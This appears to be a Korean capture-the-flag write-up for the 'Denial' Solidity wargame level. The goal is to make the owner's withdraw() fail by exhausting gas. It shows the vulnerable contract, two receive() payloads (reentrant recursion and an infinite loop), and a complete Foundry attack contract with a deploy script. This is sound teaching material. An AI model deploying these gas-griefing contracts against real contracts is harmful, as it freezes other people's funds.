Denial 컨트랙트에 돈을 그대로 남기고 가스를 1,000,000 이하로 만들어라.
owner의 withdraw()를 실패하게 만들어라
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
가스를 감소시켜 owner의 withdraw() 함수를 방지하는 것이 이번 문제의 핵심이다.
아래 2가지 방법으로 문제를 해결할 수 있다.
receive() external payable {
payable(address(target)).call{value: msg.value}("");
target.withdraw();
}
이처럼 Denial contract에 있는 withdraw() 함수를 호출하면 Attack contract에 있는 receive() 가 호출 되어 가스비를 소모하고 withdraw() 함수를 무한히 호출하는 방법이 존재한다.
receive() external payable {
while (true) {}
}
혹은 이처럼 무한 while문을 사용하여서 가스비를 소모시키는 방법도 존재한다.
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {Denial} from "../src/Denial.sol";
contract Attack {
Denial public target;
constructor(address payable _denial) {
target = Denial(_denial);
target.setWithdrawPartner(address(this));
}
receive() external payable {
payable(address(target)).call{value: msg.value}("");
target.withdraw();
}
}
contract DenialScript is Script {
address private constant DENIAL_ADDRESS = 0xc2F0CbB656cf8382ba0a19DE38fa6D47498B2174;
function run() public {
vm.startBroadcast();
new Attack(payable(DENIAL_ADDRESS));
vm.stopBroadcast();
}
}